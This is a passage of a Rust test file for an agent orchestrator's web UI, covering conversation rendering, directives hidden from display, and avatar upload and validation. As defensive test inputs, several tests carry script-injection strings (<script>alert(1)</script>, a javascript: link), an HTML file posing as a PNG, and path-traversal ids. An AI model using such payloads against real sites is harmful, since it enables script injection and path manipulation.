15235        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
15236        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
15237        assert!(!reply.excerpt.contains("automatic report"));
15238        reply.excerpt = body.chars().take(240).collect(); // old saved quote
15239        saved.turns[1].messages[0].display = None; // old MAGI send
15240        ui.talks.put(&mut saved).unwrap();
15241        let view = TalkView::with_config(
15242            ui.talks.get(&id).unwrap(),
15243            false,
15244            None,
15245            &ui.home,
15246            &ui.references,
15247        );
15248        assert_eq!(view.turn_messages_md[1][0], queued_md);
15249        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
15250        assert!(
15251            !view.talk.turns[2].messages[0]
15252                .reply
15253                .as_ref()
15254                .unwrap()
15255                .excerpt
15256                .contains("automatic report")
15257        );
15258        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
15259    }
15260
15261    #[tokio::test]
15262    async fn consultation_display_hides_directives_in_queue_and_history() {
15263        for node in [
15264            "implement",
15265            crate::land::APPROVAL_NODE,
15266            crate::github_text::ASK_NODE,
15267        ] {
15268            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15269            let mut question = Question::new(
15270                "run-123".into(),
15271                node.into(),
15272                "seat-1".into(),
15273                "Which backend?".into(),
15274                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
15275                vec!["SQLite".into(), "Redis".into()],
15276            );
15277            ui.questions.put(&mut question).unwrap();
15278            let body = crate::prompt::chat_consult(&question);
15279            let mut conversation = ui.talks.get(&id).unwrap();
15280            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15281            assert!(
15282                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
15283            );
15284            conversation = ui.talks.get(&id).unwrap();
15285            assert_eq!(conversation.pending_messages[0].body, body);
15286            assert!(body.contains("magi answer"));
15287            let mut legacy_pending = conversation.clone();
15288            legacy_pending.pending_messages[0].display = None;
15289            let legacy_view =
15290                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
15291            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
15292            assert!(legacy_md.contains("Question consultation"));
15293            assert!(!legacy_md.contains("magi answer"));
15294            let view =
15295                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15296            assert!(
15297                view.turn_messages_md[0][0].is_none(),
15298                "operator copy stays literal"
15299            );
15300            let queued_md = view.pending_messages_md[0].clone().unwrap();
15301            let rendered = serde_json::to_string(&queued_md).unwrap();
15302            for visible in [
15303                "Which backend?",
15304                "Context",
15305                "storage",
15306                "SQLite",
15307                "Redis",
15308                "<script>literal</script>",
15309            ] {
15310                assert!(rendered.contains(visible), "missing {visible}");
15311            }
15312            for directive in [
15313                "What to do",
15314                "magi answer",
15315                "Never answer it yourself",
15316                "Do not edit the repository",
15317            ] {
15318                assert!(!rendered.contains(directive), "exposed {directive}");
15319            }
15320            assert_eq!(
15321                view.talk.pending_messages[0].display,
15322                Some(crate::prompt::chat_consult_display(&question))
15323            );
15324            talk::drain(&mut conversation, &ui.talks).unwrap();
15325            let view =
15326                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
15327            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
15328            assert_eq!(conversation.turns[1].messages[0].body, body);
15329
15330            // Historical consultations lack a snapshot: show a safe placeholder
15331            // rather than parsing instructions or reconstructing mutable facts.
15332            conversation.turns[1].messages[0].display = None;
15333            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15334            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
15335            assert!(legacy.contains("Question consultation"));
15336            assert!(!legacy.contains("magi answer"));
15337            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15338        }
15339    }
15340
15341    #[test]
15342    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
15343        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15344        let (body, mut display) =
15345            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15346        display.facts = facts.into();
15347        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15348        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15349        let json = serde_json::to_string(&nodes).unwrap();
15350        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15351            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15352        }
15353        assert!(json.contains("<script>alert(1)</script>"));
15354        assert!(!json.contains("javascript:"));
15355        assert!(!json.contains("Tell the operator"));
15356        assert!(!json.contains("untrusted"));
15357        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15358        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15359        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15360        assert_eq!(
15361            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15362            md::to_nodes("# Status", &md::ImageBase::None),
15363        );
15364    }
15365
15366    #[tokio::test]
15367    async fn notification_display_recovers_exact_legacy_completion_references() {
15368        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15369        let mut conversation = ui.talks.get(&id).unwrap();
15370        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15371            id: "task-123",
15372            title: "Change",
15373            status: "done",
15374            reason: None,
15375            run: Some("run-123"),
15376            pr: None,
15377            summary: Some("Merge state unknown"),
15378            verification: None,
15379            completion: None,
15380        });
15381        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15382        conversation.turns[0].sender = None;
15383        conversation.turns[0].messages.clear();
15384        conversation.turns[0].breaks = None;
15385        conversation.pending = body.clone();
15386        conversation
15387            .completion_notices
15388            .push(crate::chat_notify::CompletionReference {
15389                task: "task-123".into(),
15390                run: Some("run-123".into()),
15391                notice: body.clone(),
15392            });
15393        ui.talks.put(&mut conversation).unwrap();
15394        let view = TalkView::with_config(
15395            ui.talks.get(&id).unwrap(),
15396            false,
15397            None,
15398            &ui.home,
15399            &ui.references,
15400        );
15401        assert_eq!(
15402            view.talk.turns[0].messages[0].display,
15403            Some(display.clone())
15404        );
15405        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15406        assert_eq!(
15407            view.talk.turns[0].messages[0].sender,
15408            Some(talk::Sender::Magi)
15409        );
15410        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15411        conversation.completion_notices[0]
15412            .notice
15413            .push_str("different");
15414        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15415        assert!(view.talk.turns[0].messages.is_empty());
15416        assert!(view.talk.pending_messages.is_empty());
15417    }
15418
15419    #[tokio::test]
15420    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15421        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15422        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15423            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15424        ))
15425        .await;
15426        let path = avatar_setting_path(home.path(), Some("rei"));
15427        let orphan = avatar_setting_path(home.path(), Some("removed"));
15428        save_icon_file(&orphan, icon).unwrap();
15429        for (saved, expected) in [
15430            (icon, "custom"),
15431            ("builtin", "builtin"),
15432            ("data:image/png;base64,!!!!", "inherit"),
15433            ("data:image/png;base64,PGh0bWw+", "inherit"),
15434            ("/tmp/avatar.png", "inherit"),
15435        ] {
15436            atomic_icon_write(&path, saved).unwrap();
15437            let catalog =
15438                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15439                    .await
15440                    .unwrap()
15441                    .0;
15442            let personas = catalog["personas"].as_array().unwrap();
15443            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15444            assert_eq!(rei["override_state"], expected);
15445            assert_eq!(rei["has_config_icon"], true);
15446            assert_eq!(rei["is_orphan"], false);
15447            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15448            assert_eq!(removed["override_state"], "custom");
15449            assert_eq!(removed["is_orphan"], true);
15450            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15451            assert_eq!(default["override_state"], "inherit");
15452            assert_eq!(default["has_config_icon"], false);
15453            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15454            assert_eq!(
15455                effective.as_deref(),
15456                Some(if expected == "builtin" { "" } else { icon })
15457            );
15458        }
15459    }
15460
15461    #[tokio::test]
15462    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15463        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15464        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15465            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15466        ))
15467        .await;
15468        let target = |id: Option<&str>| AvatarSettingsQuery {
15469            persona: id.map(str::to_owned),
15470            ..Default::default()
15471        };
15472        let original_config = config_for(&repo).await.unwrap();
15473        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15474        let original_prompt = persona::section_for(&original_persona, None);
15475        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15476            .await
15477            .unwrap()
15478            .0;
15479        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15480            let _ = avatar_settings_put(
15481                State(ui.clone()),
15482                Query(target(persona)),
15483                Json(MagiIconUpload { icon: icon.into() }),
15484            )
15485            .await
15486            .unwrap();
15487            let path = avatar_setting_path(home.path(), persona);
15488            assert!(path.starts_with(home.path().join("avatars")));
15489            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15490            for bad in [
15491                "/tmp/image.png".to_owned(),
15492                "data:image/png;base64,!!!!".to_owned(),
15493                "data:image/png;base64,PGh0bWw+".to_owned(),
15494                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15495                format!(
15496                    "data:image/png;base64,{}",
15497                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15498                ),
15499            ] {
15500                assert!(
15501                    avatar_settings_put(
15502                        State(ui.clone()),
15503                        Query(target(persona)),
15504                        Json(MagiIconUpload { icon: bad })
15505                    )
15506                    .await
15507                    .is_err()
15508                );
15509                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15510            }
15511        }
15512        assert!(read_magi_icon(home.path()).is_none());
15513        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15514        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15515            .await
15516            .unwrap()
15517            .0;
15518        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15519        assert_ne!(
15520            before
15521                .personas
15522                .iter()
15523                .find(|p| p.id == "magi")
15524                .unwrap()
15525                .avatar,
15526            after
15527                .personas
15528                .iter()
15529                .find(|p| p.id == "magi")
15530                .unwrap()
15531                .avatar
15532        );
15533        let restarted = Arc::new(Ui::new(
15534            Queue::at(home.path().join("queue")),
15535            Questions::at(home.path().join("questions")),
15536            Talks::at(home.path().join("talks")),
15537            home.path().join("runs"),
15538            home.path().to_owned(),
15539            repo,
15540        ));
15541        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15542            .await
15543            .unwrap()
15544            .0;
15545        assert!(
15546            catalog["personas"]
15547                .as_array()
15548                .unwrap()
15549                .iter()
15550                .any(|p| p["id"] == "../custom/日本語")
15551        );
15552        for expected in ["custom", "default", "rei"] {
15553            assert!(
15554                catalog["personas"]
15555                    .as_array()
15556                    .unwrap()
15557                    .iter()
15558                    .any(|p| p["id"] == expected)
15559            );
15560        }
15561        let response =
15562            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15563        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15564        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15565            .await
15566            .unwrap();
15567        assert_eq!(
15568            effective_persona_icon(home.path(), "rei", Some(icon)),
15569            Some(String::new())
15570        );
15571        let response = talk_avatar(
15572            State(restarted.clone()),
15573            Path(id.clone()),
15574            Query(AvatarQuery {
15575                persona: Some("rei".into()),
15576                ..Default::default()
15577            }),
15578        )
15579        .await
15580        .unwrap();
15581        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15582        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15583            .await
15584            .unwrap()
15585            .0;
15586        assert_ne!(
15587            after
15588                .personas
15589                .iter()
15590                .find(|p| p.id == "rei")
15591                .unwrap()
15592                .avatar,
15593            reset
15594                .personas
15595                .iter()
15596                .find(|p| p.id == "rei")
15597                .unwrap()
15598                .avatar
15599        );
15600        let mut inherit = target(Some("rei"));
15601        inherit.inherit = Some("1".into());
15602        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15603            .await
15604            .unwrap();
15605        assert_eq!(
15606            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15607            Some(icon)
15608        );
15609        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15610            .await
15611            .unwrap();
15612        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15613        assert_eq!(
15614            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15615            Some(icon)
15616        );
15617        // Display changes never rewrite the conversation or its prompt-bearing config.
15618        let cfg = config_for(&ui.repo).await.unwrap();
15619        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15620        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15621        assert!(!original_prompt.contains("data:image"));
15622        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15623        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15624        assert!(!stored.contains("data:image"));
15625        let mut orphan = ui.talks.get(&id).unwrap();
15626        orphan.persona = "../custom/日本語".into();
15627        let view = TalkView::with_config(
15628            orphan,
15629            false,
15630            Some(&cfg),
15631            home.path(),
15632            &id_links::IndexCache::default(),
15633        );
15634        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15635    }
15636
15637    #[tokio::test]
15638    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15639        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15640        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15641        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15642        let _ = magi_icon_put(
15643            State(ui.clone()),
15644            Json(MagiIconUpload { icon: icon.into() }),
15645        )
15646        .await
15647        .unwrap();
15648        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15649        assert_ne!(original, changed);
15650        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15651        let response = magi_avatar(
15652            State(ui.clone()),
15653            Query(AvatarQuery {
15654                persona: None,
15655                builtin: None,
15656            }),
15657        )
15658        .await;
15659        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15660        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15661        assert_eq!(
15662            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15663            "nosniff"
15664        );
15665        for bad in [
15666            "data:image/png;base64,PGh0bWw+".to_owned(),
15667            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15668            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15669        ] {
15670            assert!(save_magi_icon(home.path(), &bad).is_err());
15671            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15672        }
15673        // Re-opened server state reads the same independent home file.
15674        let restarted = Arc::new(Ui::new(
15675            Queue::at(home.path().join("queue")),
15676            Questions::at(home.path().join("questions")),
15677            Talks::at(home.path().join("talks")),
15678            home.path().join("runs"),
15679            home.path().to_path_buf(),
15680            repo,
15681        ));
15682        assert_eq!(
15683            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15684            changed
15685        );
15686        let view = TalkView::with_config(
15687            restarted.talks.get(&id).unwrap(),
15688            false,
15689            None,
15690            &restarted.home,
15691            &restarted.references,
15692        );
15693        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15694        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15695        let response = magi_avatar(
15696            State(ui.clone()),
15697            Query(AvatarQuery {
15698                persona: None,
15699                builtin: None,
15700            }),
15701        )
15702        .await;
15703        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15704            .await
15705            .unwrap();
15706        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15707        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15708        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15709        let _ = magi_icon_delete(State(ui)).await.unwrap();
15710    }
15711
15712    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
15713    async fn avatar(
15714        ui: &Arc<Ui>,
15715        id: &str,
15716        persona: Option<&str>,
15717        builtin: bool,
15718    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15719        let res = talk_avatar(
15720            State(Arc::clone(ui)),
15721            Path(id.to_owned()),
15722            Query(AvatarQuery {
15723                persona: persona.map(str::to_owned),
15724                builtin: builtin.then(|| "1".to_owned()),
15725            }),
15726        )
15727        .await
15728        .expect("an avatar is never an error response");
15729        let h = res.headers();
15730        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15731        let nosniff = h
15732            .get(header::X_CONTENT_TYPE_OPTIONS)
15733            .is_some_and(|v| v == "nosniff");
15734        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15735        let status = res.status();
15736        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15737            .await
15738            .expect("body")
15739            .to_vec();
15740        (status, ct, nosniff, csp, body)
15741    }
15742
15743    fn tiny_png() -> Vec<u8> {
15744        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15745        b.extend_from_slice(&[0u8; 32]);
15746        b
15747    }
15748
15749    #[tokio::test]
15750    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15751        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15752        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15753        assert_eq!(res.status(), StatusCode::OK);
15754        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15755        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15756        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15757        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15758        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15759            .await
15760            .unwrap();
15761        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15762        assert_ne!(
15763            persona_icon::operator_svg(),
15764            persona_icon::builtin_svg("default")
15765        );
15766    }
15767
15768    #[tokio::test]
15769    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15770        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15771        for p in [
15772            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15773        ] {
15774            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15775            assert_eq!(status, StatusCode::OK, "{p}");
15776            assert_eq!(ct, "image/svg+xml", "{p}");
15777            assert!(nosniff && csp, "{p}");
15778            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15779        }
15780        // No `persona` means the conversation's own; unknown ones fall back.
15781        let own = avatar(&ui, &id, None, false).await;
15782        let default = avatar(&ui, &id, Some("default"), false).await;
15783        assert_eq!(own.4, default.4);
15784        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15785        assert_eq!(unknown.1, "image/svg+xml");
15786    }
15787
15788    #[tokio::test]
15789    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15790        let dir = TempDir::new().expect("icons");
15791        let good = dir.path().join("good.png");
15792        std::fs::write(&good, tiny_png()).unwrap();
15793        let spoof = dir.path().join("spoof.png");
15794        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15795        let big = dir.path().join("big.png");
15796        let mut bytes = tiny_png();
15797        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15798        std::fs::write(&big, bytes).unwrap();
15799        let missing = dir.path().join("missing.png");
15800        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15801        let extra = format!(
15802            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15803             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15804             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15805             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15806             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15807             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15808            uri(&good),
15809            uri(&spoof),
15810            uri(&big),
15811            uri(&missing),
15812        );
15813        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15814
15815        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15816        assert_eq!(
15817            (status, ct.as_str(), nosniff),
15818            (StatusCode::OK, "image/png", true)
15819        );
15820        assert_eq!(body, tiny_png());
15821        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15822        assert_eq!(ct, "image/png", "data URI");
15823
15824        for p in ["misato", "asuka", "shinji", "magi"] {
15825            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15826            assert_eq!(
15827                (status, ct.as_str(), csp),
15828                (StatusCode::OK, "image/svg+xml", true),
15829                "{p}"
15830            );
15831            assert!(body.starts_with(b"<svg"), "{p}");
15832        }
15833        // The page's own retry skips the icon.
15834        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15835        assert_eq!(ct, "image/svg+xml");
15836    }
15837
15838    #[tokio::test]
15839    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15840        let oversized = format!(
15841            "data:image/png;base64,{}",
15842            "A".repeat(persona_icon::ICON_MAX_BYTES)
15843        );
15844        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15845            let extra = format!(
15846                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15847            );
15848            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15849            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15850                .await
15851                .expect("detail with invalid icon");
15852            assert!(detail.personas.iter().any(|p| p.id == "custom"));
15853            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15854            assert_eq!(status, StatusCode::OK);
15855            assert_eq!(ct, "image/svg+xml");
15856            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15857            let Json(view) = talk_persona(
15858                State(Arc::clone(&ui)),
15859                Path(id.clone()),
15860                Json(TalkPersona {
15861                    persona: "custom".into(),
15862                }),
15863            )
15864            .await
15865            .expect("persona switch with invalid icon");
15866            assert_eq!(view.talk.persona, "custom");
15867            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15868        }
15869    }
15870
15871    #[tokio::test]
15872    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15873        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15874        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15875        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15876        assert_eq!(
15877            (status, ct.as_str(), nosniff, csp),
15878            (StatusCode::OK, "image/svg+xml", true, true)
15879        );
15880    }
15881
15882    #[tokio::test]
15883    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15884        let (_t, _h, ui, id, _repo) =
15885            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15886        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15887            .await
15888            .expect("detail");
15889        let json = serde_json::to_string(&detail).unwrap();
15890        assert!(
15891            !json.contains("secret"),
15892            "the icon setting must not leak: {json}"
15893        );
15894        assert!(
15895            detail
15896                .view
15897                .persona_avatar
15898                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15899        );
15900        assert_eq!(
15901            detail.view.operator_avatar,
15902            format!(
15903                "/avatars/operator.svg?v={}",
15904                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15905            )
15906        );
15907        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15908        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15909        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15910        assert!(rei.avatar.contains("persona=rei&v="));
15911        assert_ne!(
15912            rei.avatar.split("&v=").nth(1),
15913            plain.avatar.split("&v=").nth(1)
15914        );
15915    }
15916
15917    #[tokio::test]
15918    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15919        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15920        let cfg = config_for(&repo).await.unwrap();
15921        for arrived in [false, true] {
15922            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15923            let observed = ui.queued_generation(&id);
15924            let talk = ui.talks.get(&id).unwrap();
15925            if arrived {
15926                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15927            }
15928            let mut settling = std::pin::pin!(settle_settings_turn(
15929                talk,
15930                ui.talks.clone(),
15931                cfg.clone(),
15932                id.clone(),
15933                turn,
15934                observed
15935            ));
15936            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15937            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15938            assert_eq!(first.is_pending(), arrived);
15939            if arrived {
15940                assert!(!settling.await);
15941            }
15942            assert!(!ui.is_thinking(&id));
15943        }
15944    }
15945
15946    #[tokio::test]
15947    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15948        let tmp = TempDir::new().expect("tempdir");
15949        let repo = tmp.path().join("repo");
15950        std::fs::create_dir_all(&repo).expect("repo dir");
15951        std::fs::write(
15952            repo.join("magi.toml"),
15953            format!(
15954                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15955            ),
15956        )
15957        .expect("write magi.toml");
15958        let home = TempDir::new().expect("temp home");
15959        let talks = Talks::at(home.path().join("talks"));
15960        let ui = Arc::new(
15961            Ui::new(
15962                Queue::at(home.path().join("queue")),
15963                Questions::at(home.path().join("questions")),
15964                talks.clone(),
15965                home.path().join("runs"),
15966                home.path().to_path_buf(),
15967                repo.clone(),
15968            )
15969            .with_worktrees_root(home.path().join("wt")),
15970        );
15971        let cfg = config_for(&repo).await.expect("discover config");
15972        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15973        let id = talk.id.clone();
15974        let call = |persona: &str| {
15975            talk_persona(
15976                State(Arc::clone(&ui)),
15977                Path(id.clone()),
15978                Json(TalkPersona {
15979                    persona: persona.to_owned(),
15980                }),
15981            )
15982        };
15983
15984        let unknown = call("nobody").await.expect_err("unknown persona");
15985        assert_eq!(
15986            unknown.status,
15987            StatusCode::BAD_REQUEST,
15988            "{}",
15989            unknown.message
15990        );
15991
15992        {
15993            // Nothing refused so far took a claim, so the guard is free to take
15994            // and holding it is what makes the talk busy.
15995            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15996            let busy = call("rei").await.expect_err("busy talk");
15997            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15998            assert!(
15999                busy.message.contains("a talk turn is running"),
16000                "{}",
16001                busy.message
16002            );
16003            drop(guard);
16004        }
16005        assert_eq!(talks.get(&id).expect("reload").persona, "");
16006
16007        let Json(view) = call("gendo").await.expect("switch to a configured persona");
16008        assert_eq!(view.talk.persona, "gendo");
16009        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
16010        assert!(!ui.is_thinking(&id), "idle response must release the claim");
16011        // No intervening I/O or sleep may be needed before another change.
16012        for chosen in ["default", "gendo", "rei", "gendo"] {
16013            let Json(view) = call(chosen).await.expect("immediate consecutive change");
16014            assert!(!view.thinking);
16015            assert!(!ui.is_thinking(&id));
16016        }
16017
16018        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
16019            .await
16020            .expect("detail");
16021        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
16022        assert_eq!(ids.first(), Some(&"default"));
16023        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
16024
16025        let Json(view) = call("default").await.expect("back to default");
16026        assert_eq!(view.talk.persona, "");
16027
16028        let mut closed = talks.get(&id).expect("reload");
16029        talk::close(&mut closed, &talks).expect("close");
16030        let refused = call("rei").await.expect_err("closed talk");
16031        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
16032        assert!(
16033            refused.message.contains("takes no more turns"),
16034            "{}",
16035            refused.message
16036        );
16037    }
16038
16039    #[tokio::test]
16040    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
16041        let f = Fixture::start().await;
16042        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
16043        let queue = f.queue();
16044        let mut mine = Task::new(
16045            "rename the loader".to_owned(),
16046            "rename the loader".to_owned(),
16047            PathBuf::from("/repo/magi"),
